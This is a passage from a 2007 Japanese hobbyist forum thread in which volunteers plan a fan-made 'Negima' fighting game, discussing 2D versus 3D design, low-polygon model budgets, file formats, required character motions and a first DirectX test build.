アイデア自体は実によろしいが、
最初からあまり複雑すぎるな計画を立てるとこける、
ということだけは確かだろう。

611 :名前は開発中のものです。:2007/01/26(金) 16:42:12 ID:H+6J8oHw
>>609
簡単に詰みゲーが発生するゲームになると思うけど

612 :名前は開発中のものです。:2007/01/26(金) 18:22:06 ID:iV9MpKqA
>610
そうですね。 ある程度できてからの方がよさそうですね。
>611
言われて見ればそうですね。
ゲージ消費にすると技使用数が極端に制限される。

意見 感謝します。


613 :名前は開発中のものです。:2007/01/26(金) 18:58:04 ID:BFPe+Jw5
スマブラみたいにするのが一番いいと思うし、まともに格闘ゲーム作るより作業は楽だと思う

キャラはEDみたいなデフォルメキャラで
キャラごとに移動速度や2段ジャンプというアビリティが付いてる
んで、キャラ選択あとコスプレみたいに衣装を選べて、衣装ごとに更にアビリティが付いてたりするんだ
キャラの胴体は全キャラ共通にすれば1種類の衣装を全員に使いまわせる

同時に4人まで対戦できる(ガンダムみたいに2VS2で戦力ゲージ製)

勝手なこと言ってごめんな

614 :名前は開発中のものです。:2007/01/26(金) 19:07:52 ID:gP2Abos3
胴体共通にすると、みんな同じ動きしかいないね…
それはそれで寂しい気がする。

ポリゴンで作ってアニメーションだけ別ファイルに作るんなら出来るかもしれないけど…

615 :名前は開発中のものです。:2007/01/26(金) 19:17:03 ID:iV9MpKqA
ポリゴンだと同じ系統のキャラは流用や応用が利くからいいですよね。
神鳴流組みの刹那、刀子、月詠 は特に。
合気柔術をエヴァとあやか(我流)が使えたりするし。





616 :名前は開発中のものです。:2007/01/26(金) 19:23:52 ID:N4A4JjDb
なんだか物凄く色々とアイディアが出ているようですが、実際組める方は
いるんでしょうかね???




あ・・・つっこまない方がよかったかな?

617 :名前は開発中のものです。:2007/01/26(金) 19:30:03 ID:BFPe+Jw5
ポリゴンは便利だね
でもキャラごとにモーション分けてたら作るの大変だろうし
モーション同じでもキャラごとに武器が違って性能が違うとかにすれば個性は出るんじゃないかな?


618 :名前は開発中のものです。:2007/01/26(金) 19:31:15 ID:2aR9zDN6
>>616
それは言ってはいけない約束です><

妄想じゃなくてシステムの話をしてください


619 :名前は開発中のものです。:2007/01/26(金) 19:32:04 ID:gP2Abos3
プログラム組めるけど、素材が1つでも無いとなー
ポリゴン作れる人がうpしてくれれば喜んで作りたいけど、
そのときは色々な人が作りそうだ、プログラマココ多いらしいし。

◆57U1O5h1BM氏が作ってるはずだしね。


620 :名前は開発中のものです。:2007/01/26(金) 19:34:31 ID:FCF34egC
プログラム云々に関しては正直わからん
だが、効率の良いグラフィック作成方法を練るのは無駄な事じゃない

>キャラはEDみたいなデフォルメキャラで
>キャラの胴体は全キャラ共通
>ポリゴンで作ってアニメーションだけ別ファイル
>同じ系統のキャラは流用

これはつまり、フィギアメイトの様に頭だけ作り替えれば
見かけ上は多数のキャラを揃えられるという事だし、良い意見だと思う

621 :名前は開発中のものです。:2007/01/26(金) 19:37:33 ID:FCF34egC
>>619
良かったら試しに1キャラ組んでみてくれないか?
もし引き受けてくれるなら、素材は48時間以内にUPする

622 :名前は開発中のものです。:2007/01/26(金) 19:38:57 ID:gP2Abos3
いいよー
ポリゴン?ドット?
まあ、どちらでもいいけど。

623 :名前は開発中のものです。:2007/01/26(金) 19:44:17 ID:FCF34egC
>>622ありがとう

折角なので3Dでやってみてくれないか?
こちらが希望するファイル状態で出力できるか判らないが
無理なら2Dの連番画像にすれば問題ないと思う

624 :名前は開発中のものです。:2007/01/26(金) 19:49:00 ID:FCF34egC
>>623訂正

そちらが希望するファイル形式と状態で出力できるか判らないので
無理なときは2Dでプログラムを組んで欲しい

625 :名前は開発中のものです。:2007/01/26(金) 19:54:25 ID:gP2Abos3
Xファイルならすぐに組み込めそう。
2Dも基本は変わらない。

626 :名前は開発中のものです。:2007/01/26(金) 20:01:28 ID:H+6J8oHw
期待sage

627 :名前は開発中のものです。:2007/01/26(金) 20:02:21 ID:iV9MpKqA
>623
3Dもレンダリング画像を使えば2D格ゲーにも使えますしね。
モデルの質が高くても2Dにあらかじめしていれば表示が軽くなったりしますし。







628 :名前は開発中のものです。:2007/01/26(金) 20:15:17 ID:FCF34egC
>>625
Xファイルを出力するには
こちらの環境でファイルを2度コンバートしなければならず
最大ポリゴン数、テクスチャ枚数、モーフ、ボーンの状態を
どう扱うか知識が無いので、残念ながら48時間で完成するのは難しい

申し訳ないが
今回必要になるXファイルの仕様を簡単に説明してもらえないだろうか?
こちらが実現可能ならXファイルに挑戦してみたい

>>627
そう思う
セル風レンダリングにするのも面白い気がする

629 :622:2007/01/26(金) 20:23:00 ID:gP2Abos3
組むのはいいけど、格ゲー風にするの?
スマブラ風にするの?

それだけちょこっと知りたい。
あと、素材は3Dでおk?

630 :名前は開発中のものです。:2007/01/26(金) 20:31:50 ID:CLAdN7ct
3Dか・・・

631 :名前は開発中のものです。:2007/01/26(金) 20:35:43 ID:QJenIW67
>>629
そちらが欲しいファイルが作れれば3D素材になり
無理そうなら2D出力しようと思う
勝手ですまないがよろしく頼む

格ゲー、スマブラかの判断は、そちらの作り易い方を選んでくれればおkだ

632 :622:2007/01/26(金) 20:37:43 ID:gP2Abos3
別にlwoでもいいけど。

仕様か…
ちょっと勉強不足。
そのままコンバートしてたの疑問に思わず表示や動かしてた。
Xファイルそのまま出力して、メモ帳等で開けば解るかも。

ぶっちゃけ、そのまま点、ポリゴン構成とテクスチャーとか書き込まれてたけど。
こちらでも調べて見ます。

633 :622:2007/01/26(金) 20:42:58 ID:gP2Abos3
ちなみに2Dなら、立ち、歩き、しゃがみ、ジャンプ等の基本動作。
攻撃、必殺技の技入力判定。
防御、転ばす、起き上がる。

この程度の格闘ゲームっぽいのオナニーで作ってたから。

今解読するには少し、かかるかもしれないけど…

スマブラなら格闘より楽そうだ。作った事無いけど(仕様を考えた事もない)

634 :名前は開発中のものです。:2007/01/26(金) 21:26:29 ID:QJenIW67
>>633
.lwoではボーンやモーションの情報を保存できないが
.Lwsという事で良いんだろうか?
モーションも作るつもりだったのだが、モデルのみ用意すればいいんだろうか?

また、色々と口うるさくしてしまったが、一体目はあくまでテストケースと考えてもらって構わない
こちらも今回は「モツ」を作ろうと予定している
そちらも気軽に「2D、3D」「スマブラ、格闘ゲーム」などを選んで欲しい

今回の件で問題が無ければ、改めて時間を掛けてモデルを作ろうと思っている
のでよろしく頼みます

635 :名前は開発中のものです。:2007/01/26(金) 21:33:17 ID:QJenIW67
>>634追記
ツールはメタセコイアでなくライトウェーブを使用
メタセコでの.lwoの扱いについてよく分からない状態で書き込んでます

636 :名前は開発中のものです。:2007/01/26(金) 21:35:57 ID:0hhmArOa
名無しの自分が仕切るのもおかしな話ですが、一旦整理しませんか?

現在進んでいる製作の話は
「3D(難しい場合は2Dに出力したもの)で組む格ゲー(あるいはスマブラ系)」
って事ですよね?

プログラムを組むのは >>622氏 キャラ素材の提供は >>623
であってます?キャラ素材は「モツ」

仕様というか方向性とかを示せば他にお手伝いしてくれる職人さんも現れるかも
しれないし、ちょっとまとめてみたんですがあってるよね;;;

637 :モツ鍋(623):2007/01/26(金) 21:52:20 ID:QJenIW67
>>636
まとめてくれてありがとう
勢い付いて連投してしまってすまない

今回はあくまでワークフローを探るテストのような感じで進めたいと思う
後に続く人がいれば、今回の事を踏襲してスムーズに作れると期待している

638 :622:2007/01/26(金) 21:53:43 ID:gP2Abos3
>>634
調べたら、LWSでもXファイルにコンバートできるソフトいくらでもあったから大丈夫だと思う。
お気楽に組んで見ます。

>>636
合ってると思う。

639 :名前は開発中のものです。:2007/01/26(金) 22:01:22 ID:0hhmArOa
>>モツ鍋氏&622氏
期待してます。頑張ってくださいw

自分も何かお手伝いしたいけど3Dは無理なんで;;

640 :モツ鍋:2007/01/26(金) 23:35:54 ID:QJenIW67
>>638調べてくれてありがとう
.lwsなら何かと楽で助かるが、Xファイルもコンバートして渡してみようと思う
本来のデータがどれだけ忠実にコンバートされるのか探ってみたいので

それと、ゲーム内の1モデルで、三角ポリゴンがどのくらいまで使えるか
どの位の大きさのテクスチャが何枚使えるのか
1画面内に表示されるエフェクトや背景などの力配分を含め、できる範囲で考えてみてほしい
3Dでやるなら恐らくデータを切り詰めてゆくことになるだろう
最終的にはトライ&エラーで決めていくしかないのかもしれないが

>>639応援どうも
自分で選んでおいて何だが、モツという謎の生物を作るにあたり
技や動作に煮詰まりそうな気がするので、その時は知恵を借りたいと思う

641 :622:2007/01/27(土) 00:19:28 ID:hQqrRTcT
まあ、起動するマシンによると思いますが、

キャラクターなら、200ポリくらいかな?テクスチャーは出来れば1024x1024、1枚から2枚くらい。
背景はどのくらいだろう…500〜1000くらいかな?テクスチャーは上記くらい。
格ゲーならもちょっと、キャラポリいけるかも知れないけど…
エフェクトもポリゴンなら………100位?

最近のビデオカードって凄そうだからなー…どーしても、ローポリの発想で考えてしまう。
どなたかベンチしていただければありがたいんだけどねー。

642 :名前は開発中のものです。:2007/01/27(土) 03:09:47 ID:ac8KeBgb
PS2なら人間キャラのポリ数は通常大体2000くらいで、ハイモデルで7000くらい。
テクスチャは256*256が1枚か、それが無理なら2枚。
背景がポリ数5000から10000くらいでテクスチャは256*256が4, 5枚くらいかなぁ。

エフェクトは基本的にパーティクルで作る方向で行くとすればポリ数は1として、
テクスチャの基準が32*32の16色す。

何かの参考になれば。

643 :名前は開発中のものです。:2007/01/27(土) 10:06:44 ID:E32cMgCp
http://gamdev.org/up/img/8737.jpg

644 :名前は開発中のものです。:2007/01/27(土) 11:16:13 ID:cvdQWntG
>>643
惨劇は繰り返す

645 :名前は開発中のものです。:2007/01/27(土) 11:55:21 ID:qStjRzBA
>>641
ベンチといっても、いろいろ条件によって変わってきますからね。
何の参考にもならないかもしれないけど、以前作ったゲームだと
表示:Xファイル
ボーン:無し
テクスチャ:256色256×256が4枚
PC:AMD3200、GF6800
で10000ポリゴン(三角形)位までは60FPS出てたな。
適当に作ったから、本来はもっと高速になるんだろうけど。

646 :モツ鍋:2007/01/27(土) 14:03:09 ID:i/9jnZ6S
>>641この設定ならPen3でもビデオカード次第でギリギリ動くような気がする
感覚的には4、5年前のPCでも平気という所かな

ただ、モデル作りの上で、キャラに200ポリゴンはキツイな
モツなら気にならないかもしれないが、人間を作ろうとすると見栄えに問題が出そうだ
左右対称のモデルを片面だけ作り、プログラムで鏡面処理といった機能が使えれば別だが

それと、テクスチャについてだが
サイズの小さくして、枚数を増やす事は出来ないだろうか?
大きいものが1枚よりも、小さいものが複数使える方が都合がいい場合があるので

ベンチについては、とりあえず>>641に沿ってモデルを作ってみるので
それを動かして取得してみてはどうだろう?

647 :622:2007/01/27(土) 16:26:34 ID:enpzzs/C
まあ、上のあれはざっとこのくらいかな?って感覚でかいた物なので…
自分の感覚はその通り古臭いです。

DirectX8が出てきて、3Dゲームも作りやすくなったなーってな感じの時、勉強してたんで…w
もしかしたら、OSwin98的な感覚がまだ残っているのかも…w

だから、モデルもちょっと増やしてもいまどきのPCなら難なくOKかもー
鏡面処理は出来るはずだけど、その分処理が食うので普通にモデルかいた方がいいですね。

テクスチャーはアレが最大って事です。もちろんちょっと前の感覚で。
いまどきビデオメモリが16とか無いと思うので、小さくいっぱいで出来るかも…。

2D格ゲーの時、一キャラ100枚以上読んでたんでできるとおもう。

なお、上の設定は、スマブラみたいに、4人同時キャラ表示の想像スペックです。

とりあえずサンプル動かして、多少のスピードアップならプログラムで改善、対応していこうと思う。

648 :モツ鍋:2007/01/27(土) 16:45:38 ID:i/9jnZ6S
>>647
過去のPCスペックも意識して作れるのは素晴らしい事だと思う
極端な話、Vistaの推奨環境クラスが基本だと、一握りの人間しかプレイ出来なくなってしまう
重めの3Dネットゲームが楽に動く様なPCを、誰もが持っている訳じゃないからな

モデルの仕様については了解です
モツが出来上がり次第UPするので、問題がないかデータをチェックして頂きたい

649 :モツ鍋:2007/01/27(土) 22:26:17 ID:i/9jnZ6S
モデリングの途中経過を報告してみる

ストレートに作ってみたが、四角、三角ポリゴンを含めて320ポリゴン程ある
やはり削らなければならない様だ
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0097.gif

まだ削れる余地があるので、引き続き作業を続けたい

650 :名前は開発中のものです。:2007/01/28(日) 00:07:53 ID:rm/c7HjE
あと1〜2週間もすればリアルの仕事が忙しい発言。

651 :モツ鍋:2007/01/28(日) 04:26:53 ID:BpxYHGyJ
>>622
ttp://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0104.gif
三角ポリゴンのみで274まで削ったが
これ以上減らすとモーション付けの際に不具合が出そうな気配

できれば300ポリゴンまで使える様にしてくれるとありがたい
それが無理そうなら、ハイポリゴンで作り直して
2D出力する方へ切り替えるので、判断をよろしく頼みます

652 :名前は開発中のものです。:2007/01/28(日) 10:39:15 ID:86Mv+juX
(謎の声)
手の平、足の裏を板ポリにしてαテクスチャで誤魔化すんですよ。

653 :モツ鍋:2007/01/28(日) 12:02:46 ID:BpxYHGyJ
>>651
メタルギアソリッド(初代)やデュープリズム位まで削らないと駄目なのか

654 :622:2007/01/28(日) 13:03:36 ID:KMu+FrtW
今はサンプル、ためしって事なのでそれほど作りこまなくてもいいと思う。
上記のポリゴン数提示だってほとんどあてずっぽうで書いたし。

モデリングの知識は自分無いのでなんともいえませんが。

655 :名前は開発中のものです。:2007/01/28(日) 13:15:00 ID:RC/XbBjJ
2D出力に期待

656 :名前は開発中のものです。:2007/01/28(日) 14:04:27 ID:PaE3GVTZ
デュープリズム程度で充分じゃない?


657 :622:2007/01/28(日) 14:14:34 ID:KMu+FrtW
2D出力の方が楽ならそれでもいいよー。

658 :モツ鍋:2007/01/28(日) 15:43:21 ID:BpxYHGyJ
>>657
1ドット1ポリゴンが生死を分ける
ローポリゴンにおける神の領域に踏み込むのは困難なので
とりあえず300ポリゴン以内で組んだファイルを試してみて欲しい
テクスチャ、ボーンは簡単に仕上げるつもりなので、今夜中にUP出来ると思う

また、2Dメインの方が職人の加勢が望めそうな気がするが
まず小規模でも動作するものを作り終え、一段落してから改めて考えよう
2D出力するとしたら、モデルを作り直す必要があるので
現状で仕上げる方が掛かる時間は少なくて済む

今回はあくまでテストということで、クオリティを重視するよりも
ワークフローを整備する事に注力したい
これが終われば、色々と出ている企画の実現可能な範囲が想像しやすいと思う
特に、キャラ総数に係わる部分での不安が解消されるかもしれないので
やり遂げる価値はあるはずだ

659 :622:2007/01/28(日) 15:51:15 ID:KMu+FrtW
ははー!
貴方様に従います!!

660 :名前は開発中のものです。:2007/01/28(日) 16:46:07 ID:YH0MUGxU
使えそうな画像拡縮ソフトがあったのでどうぞ。
3Dのレンダリング画像を縮小して違和感がないように個人的には感じました。
http://www.vector.co.jp/soft/dl/win95/art/se131666.html

661 :名前は開発中のものです。:2007/01/29(月) 01:33:49 ID:37Q6oXq/
2Dwktk

662 :622:2007/01/29(月) 17:30:45 ID:PoQ4XzVM
まだ時間かかるのかな?

色々考えてみた。
格闘ゲームなら頭身があったほうがいい。スマブラならSDでもかまわないと思う。
2D、3Dまだどちらにするか決まってないっぽいけど、2Dの方が人気あるのか?
あんまり考えてなかった。

663 :名前は開発中のものです。:2007/01/29(月) 18:15:35 ID:q2t/PZdx
どうせ2D格闘作るとキャラは「ネギま」で技はKOFっていうのしか作らない気がするから
スマブラみたいなのに一票、3頭身で
しかも2D格闘は1キャラ作るのに凄く時間かかるし

スマブラならそんなに動作いらないから2D格闘よりは楽
キャラが多いネギまだから質より頭数優先で行ったほうがいいと思う


664 :名前は開発中のものです。:2007/01/29(月) 19:15:16 ID:F4crJwdI
>>662
折角モツ鍋氏が3Dでキャラを作っているのだから
3Dを動かす前提で作ったほうが良いのでは?

システムとして格闘にするかスマブラ風にするかは
表示する事が出来てから考えても遅くないだろうし。
ってかスマブラ風にするなら複数のキャラを表示する
事になりますよね?1対1じゃスマブラ風とはいえないし

>>663
2Dでも3Dでも作るのには時間がかかるから、そこ
を基準にするのは間違いだと思うぞ。
それとスマブラなら動きが少ないというのも間違い。
ボタン数や標準搭載技により変わるしね。スマブラ風を期待しているなら
それだけを書けばいいのに

665 :モツ鍋:2007/01/29(月) 20:35:33 ID:UBZQr9pn
>>662申し訳ない
昨晩の書き込みの後、作業を終わらせる予定だったが途中で力つきて眠ってしまった
これから作業を続けようと思う

本番の製作は、最終的に2Dで出力しておくと職人が参加しやすいと思う

例えばだが、3Dモデリングが得意な職人が来た場合、自分がモーションを担当する
逆にモーションが得意な職人が来れば、こちらはモデリングを担当
ドット絵が得意な職人が来た場合は、下絵やアタリになる様な素材を提供するなど
作業の流れで2Dと3Dが混在させる事もでき、利点が多くなるだろう

別の案を否定したりする気は全くないが
とりあえず、企画がスムーズに進められるような形式にするのが望ましいと思う

666 :モツ鍋:2007/01/29(月) 20:44:21 ID:UBZQr9pn
>>660
調べてくれてありがとう
だがフォトショップの方が使いやすそうだ

667 :622:2007/01/29(月) 21:27:41 ID:PoQ4XzVM
了解ーモツさんがんばってー!!

>>664
むむ!
っと言うことは、キャラクター表示したらどういうゲームになるか決まるまで待機してるのか。
まったりでいいなー、プログラマにやさしい。

別に格ゲーでも複数表示で対戦でもいい気がするけど…何かスタンスをお持ちのようで。



668 :664:2007/01/29(月) 22:16:46 ID:PMNEcJcK
>>667
えっと、そうではなくて;;;
モツ鍋氏が3Dでデータを用意しているのだから3Dで表示(?)する様に
したほうがいいんじゃないかなと。はじめから3Dを2Dに書き出してとい
う方向を選択するよりも。現在作られている3Dデータの表示が可能であれ
ば、次にどの位の枚数が表示できるかや複数表示などの検証(?)などもし
てみたらどうかなと思うのですが如何でしょう?

自分的には格ゲー方式でも複数対戦方式でも良いと思います。そのあたりは
実際に作業をされている622氏とモツ鍋氏で決めて頂ければ良いんじゃない
かなと。

あ・・・あと今後の為にキャラ用・背景用の設定ツールとかも作ってみては?

669 :622:2007/01/29(月) 22:29:08 ID:PoQ4XzVM
なるるー
でも、大丈夫!作ってみない?っ言われたときから3D表示で作ったから!
もう、モツ表示するだけ。安心してー。

ツールはやっぱり、3D、2D決まらないと作りようが無いからなー
3Dなら、アニメーション埋め込まれてるだろうから、それを動作によって表示するように。
2Dなら、どーしよう…2D格ゲーツクールみたいにしようかなー

背景もまあ、座標関係含めて考えないといけないからなー…3Dならカメラもか…。


670 :名前は開発中のものです。:2007/01/30(火) 08:00:29 ID:/9e5tPKD
かくて幻はついえり

671 :名前は開発中のものです。:2007/01/30(火) 10:38:08 ID:svXxMrc0
職業プログラマだけど、
なにか手伝えることがあれば可能な限り手伝うよ


672 :名前は開発中のものです。:2007/01/30(火) 10:40:33 ID:5zTEzhaO
本業はどうしたの?

673 :名前は開発中のものです。:2007/01/30(火) 10:43:33 ID:svXxMrc0
次のプロジェクトまで休暇中
まるまるじゃないけど1ヶ月くらいなら参加できるよ

674 :名前は開発中のものです。:2007/01/30(火) 10:48:32 ID:gvSebPAw
マジでできそうな悪寒。
漏れも勉強してみるか

やっぱC?それともC++?

675 :名前は開発中のものです。:2007/01/30(火) 11:01:24 ID:svXxMrc0
システム系なので力になれるかわからないけどね

>やっぱC?それともC++?
自分も気になる
いまメインで動いてる人はVCあたりで作ってるのかな?


676 :622:2007/01/30(火) 11:44:27 ID:NLlDSuOk
仕事場から携帯で失礼。
VC++でDirectX8.1で作ろうと思う。

677 :あげお ◆jCi4hDXLsY :2007/01/30(火) 11:46:44 ID:CecELOvX
盛りage

678 :名前は開発中のものです。:2007/01/30(火) 11:54:31 ID:gvSebPAw
了解
参考書籍買ってくる

679 :名前は開発中のものです。:2007/01/30(火) 17:34:59 ID:gvSebPAw
VC++ってC++と記述はどこまで同じ?
間違えてC++入門本買っちまったぜ

680 :622:2007/01/30(火) 17:52:22 ID:rARA4CFS
VC++はVisual C++の略です。
つまりソフトの事です。コンパイラって言うんだっけ?

C++入門書で大丈夫!!
勉強だけならね…

681 :名前は開発中のものです。:2007/01/30(火) 18:33:14 ID:iAusa4Vo
VC++の参考書も買って、IDE(統合開発環境)の使い方も覚えた方がよくない?
MSのヘルプは読みづらいっす

682 :679:2007/01/30(火) 18:57:44 ID:gvSebPAw
了解ぃ!
もー一冊買っとく
私は工業高校生だから、やらねばならんのだよ
将来の夢はゲームクリエイターだからな
機会を、dクス

683 :名前は開発中のものです。:2007/01/30(火) 19:04:00 ID:svXxMrc0
プログラムは基礎が出来ちゃえば
言語習得にさほど時間がかからないからとりあえず1言語覚えればいいとおもうよ
わざわざ本とかを買わなくても今はネットでいくらでも調べられるし

開発環境はVCにこだわらなければいろいろあるし
ちょこちょこ触って気に入ったのを使うのがいいかと

いまからならハードルが高いかもしれないけどXNAをやっていってはどうかな


684 :名前は開発中のものです。:2007/01/30(火) 19:05:54 ID:4819r+II
プログラマーさんが増えたなら仕様を決めて製作を始めた方が良いのでは?
まぁ肝心のキャラデータがない状態で何を進められるのか判りませんが;;;

685 :679:2007/01/30(火) 19:19:54 ID:gvSebPAw
まぁ、じっくりやってみる
ネギ知ってる奴いないのか?
漏れだけじゃないよな?信者は

686 :名前は開発中のものです。:2007/01/30(火) 19:33:28 ID:svXxMrc0
スレ見直してきたけど
◆57U1O5h1BM氏と622氏が今はメイン開発ってことでいいんだよね?
◆57U1O5h1BM氏の方は基底システムが出来てて方向性が決まってるみたいだけど
622氏はこれから決めていく方向かな?


687 :モツ鍋:2007/01/30(火) 19:40:18 ID:DguxYUk6
遅れてすまないと思っているが、もう少し時間が掛かるかもしれない
とりあえず現状をUPしておく
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0109.jpg
ネクタイを忘れていたので追加している

職人が増えて嬉しい限りだが、プログラムを共同で作業するなら
どういった感じで役割分担するのがいいんだろう?

622氏がゲームのメイン部分を設計し
キャラごとの設定ファイルなどを他の方が担当する様な形で進めるんだろうか?

688 :622:2007/01/30(火) 19:41:02 ID:rARA4CFS
ネギま好きな人しかココに来ないんじゃないのか?

自分的には3Dでスマブラか、格ゲー。
モツさんのサンプルが来てから本格的に決めて…いきたいと…思う。

モツさんがんばってー


689 :622:2007/01/30(火) 19:43:47 ID:rARA4CFS
ニアミス!!

まあ、自分より優れている方がいれば立場変わっちゃうかもー
所詮日曜プログラマーみたいなものだし。

690 :名前は開発中のものです。:2007/01/30(火) 20:05:31 ID:MOEA4VzG
2Dと3Dで対戦させればいーじゃん。判定は2Dで。

691 :モツ鍋:2007/01/30(火) 20:06:38 ID:DguxYUk6
昔、知り合いのプログラマから聞いた話だが
まともな仕様書があればメンバーの増減があっても対応が可能という事だった
じっくりと仕様を詰めていけばよいのではなかろうか?

また、受け渡すファイルの事で質問なのだが
1.最低限、どんなモーションが必要になるのか
2.モーションの開始と終わり、実行中のモーションはある程度分けて作った方がいいのか
(例、「通常立ち」から「走り」の場合、「走り開始→走り→走り終わり」と作るべきか)
3.モーフィングは何らかの手続き無しで同梱していいのか
4.アルファマップはテクスチャと分けた方がいいか、PSDデータに含めておいた方がいいか

これらの疑問に答えて頂けるとうれしい
分からなければこちらで安全策を取るつもりなので、分る範囲で答えてほしい

692 :622:2007/01/30(火) 20:19:35 ID:rARA4CFS
答えます。自分勝手に。

1 最低、歩く、走る、ジャンプ、攻撃、防御。
これだけあればとりあえず大抵のゲームに汎用できると思うし、テストもできるとおもう。
本当に最低、立ち、歩きがあればいいと思う。

2 あったら滑らかになると思うけど、プログラムでなんとか出来そうな予感もする。
調べても無いから解らないけど…行列かければキーフレーム作れるよね?

3 手続きって何かわからないけど、とりあえず好きなように渡ししてくださればと思います。
勝手に調べますので。

4 アルファかー含めていいと思う。変になったら、プログラム上で対処します。

答えになったかどうか心配ですが、このくらいかな?

693 :679:2007/01/30(火) 20:37:09 ID:VFbE/6Am
モーションに関してはMELTYBLOODを参考にした方が良いかと
言える立場じゃないですがね

来週の今日に中間報告に来ますよ
・・・どこまで勉強できるのか心配
自分なりにガンガッてみます(・ω・`)

694 :名前は開発中のものです。:2007/01/30(火) 20:47:48 ID:v1uhtOn/
結局スマブラと2Dカクゲーどっちにするの?

695 :622:2007/01/30(火) 20:50:17 ID:rARA4CFS
逆に、どっちがいい?

696 :名前は開発中のものです。:2007/01/30(火) 20:51:50 ID:B3c2zSQA
俺もJAVA、C++ってやってきたけど、わかれば結構簡単だよ。
ただそれだけでゲームが作れるのか・・・というのが疑問。JAVAで糞ゲーと呼ばれるものを作った事はあるが。。
デバッグが大変なんだよね。
「どこが違うんだよ!」みたいな。errer箇所見てもわからないときがある。

てなわけで俺も名無し組です。

697 :679:2007/01/30(火) 21:14:08 ID:VFbE/6Am
>>695 漏れは2D格闘
スマブラ形式もまたいいが、必殺技を発動したときのエフェクトを想像すると
はやく習得したくなる

698 :モツ鍋:2007/01/30(火) 21:32:42 ID:DguxYUk6
>>692
手早く答えてもらって助かったよ
なるだけ早く仕上げたい

2.については、フレームごとに呼び出すのが可能なら多分問題ないと思う
余談だが、モーションに開始と戻りが無い格闘ゲームは面白みに欠けるので
出来れば実現させたい

>>693
その辺りも含めて、方針をまとめる為に出来れば一度会議を開きたいところだな
企画参加者だけでなく、製作の知識を持った名無しの方や
格闘ゲーファンの意見なども聞ければ製作に役に立つかもしれない

699 :名前は開発中のものです。:2007/01/30(火) 21:37:32 ID:v1uhtOn/
俺はスマブラ形式がいいと思う
2D格闘だと絵を用意するのにすげー時間かかるよ
下手したら1キャラ完全に完成しないかも?
>>663が言うようなネギのキャラがメルブラやギルティやKOFの技出すゲームになる悪寒
そういうのはツクールとかMUGENで充分
3Dで作って2Dに落とすってやりかたでも、3Dはモデルを作るのは難しくないけど
モーション作るのが大変

かなり簡素なもので充分な気がするんだよね
プレステ1のゲーム並のポリゴンぐらい簡素にしたほうが作りやすいと思うし
胴体とかは流用効くから製作の負担も減る

あまり気合入れすぎてあれこれ考えても企画倒れになるの目に見えてると思う

700 :679:2007/01/30(火) 21:54:35 ID:VFbE/6Am
>>699
モーフィングをどう使うかで2Dか3Dか決まるわけか
難しいところだとは思うが、ある程度の方針はまとめておいた方が良いな

目標が明確な方がモチベーションも維持できる筈

701 :664:2007/01/30(火) 22:26:36 ID:0Moef9Cz
3Dのキャラデータを活かすとしたらスマブラ方式よりも格ゲー方式の
方が良いような気がします。スマブラ形式なら横からの画像で済む訳で
すし・・・どうせ立体ならって事で。

702 :モツ鍋:2007/01/30(火) 22:29:42 ID:DguxYUk6
>>700
微妙に違う
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0110.jpg
3Dから2Dと言ってもこのくらいの処理なら負担無く出力出来る
さらに見栄えを考えて作り込むならやや時間は掛かるが

最終出力が2Dの場合、10万でも100万ポリゴンでもアニメーションや画像に出力する限り
容量が同じで済み、レタッチや手を入れる事によりドット等と馴染ませる事も可能
ドット職人との協力も望める

3Dモデルで作る場合、2D的な処理をする必要が無いが
ゲーム内で使用出来るポリゴン数に制限があり、表現にある程度の限界があるという事
ただ、自分としてはテクスチャで楽が出来る分、こちらの作業の方が楽だが

モーションに関しては、タッチの差で難易度が変わる訳ではないと記しておく
例えば、今回「モツ」で出来上がったモーションを、2Dタッチで作った別のモデルへ瞬時に受け渡す事も可能

板ポリゴンに2D素材を貼付け、カメラは回り込む様な動きを排してズームや左右パンのみにすれば
スマブラも作れると思うがどうか?
そういった事も含め、色々とチャットなどで話ができると良いと思ったんだが

703 :名前は開発中のものです。:2007/01/31(水) 00:04:09 ID:qEM4FONx
あの〜
ややこしいから数字コテ、やめません?

反対勢力の来襲に備えて、参加者にはトリップとハンドルの使用をお願いしたいところ。

704 :名前は開発中のものです。:2007/01/31(水) 01:06:51 ID:s+Pvz8LY
2Dの時代は終わったのか・・・
3Dはもっさりしてるし、プログラム面倒だから好きじゃない

705 :名前は開発中のものです。:2007/01/31(水) 01:28:54 ID:TZQEtsa6
2Dのプログラムは退屈

706 :名前は開発中のものです。:2007/01/31(水) 03:10:14 ID:zCxhoAWc
モツ鍋氏にはがんばってもらうとして、
モデルデータはとりあえず適当な素材から流用して
システム自体をまず立ち上げたほうが良いんじゃないかな?
完成イメージとしてなにか確立してないと手が出せない

スマブラ風か格ゲかについては
格ゲからの拡張で対応可能だと思うけどどうかな
スマブラ風にしたかったら足場と移動・参加人数に変更を加えれば十分だと思うんだけど
カットインのあるスマブラもいいよね?

707 :622 ◆pBwYa/I7TY :2007/01/31(水) 12:28:49 ID:h3BBBt3E
ってことは、スマブラ、格ゲーはひとまずおといて、
3Dっで行くって事でOKですね。

システムって移動とか、攻撃とかですよね?きっと。
たぶん2D格ゲーのシステム一部流用できそうなのでちょこっと頑張ってみます。

2Dも3Dも、一度作ってしまえば使いまわし出来るので同じだと思うけどなー。

708 :名前は開発中のものです。:2007/01/31(水) 12:47:48 ID:2TN0j9ro
まあとりあえずモデル作ろうぜ
ドットだと時間かかっちゃうからな

709 : ◆pBwYa/I7TY :2007/01/31(水) 13:52:58 ID:h3BBBt3E
サンプルみたいな物。
スキンメッシュ勉強した人なら誰でも一度は殺意を覚えるtinyちゃんをモデルに。

左右で歩くだけ。
飽きたらZキー押してFPS教えてー
平均とるから。

あ、後起動するかどうかも。しなかったらスペック(OSとメモリとビデカードくらい)教えていただければ
頑張ってみる。

モツさんがんばってー!

710 : ◆pBwYa/I7TY :2007/01/31(水) 13:53:31 ID:h3BBBt3E
http://gamdev.org/up/img/8771.zip
orz

711 :名前は開発中のものです。:2007/01/31(水) 14:11:20 ID:2TN0j9ro
起動した瞬間強制シャットダウンした・・・

712 : ◆pBwYa/I7TY :2007/01/31(水) 14:19:10 ID:h3BBBt3E
あう!?
OSとビデオカード教えていただきたい。
DirectXのバージョンも。
ちなみにビデオカードのドライバも一度最新かどうか調べてみてくださいー

713 :名前は開発中のものです。:2007/01/31(水) 14:24:49 ID:2TN0j9ro
XP
pentium4 3.0
512M
GA-8IPE1000-G
GF66GT-A128H
DirectX9.0CAugast

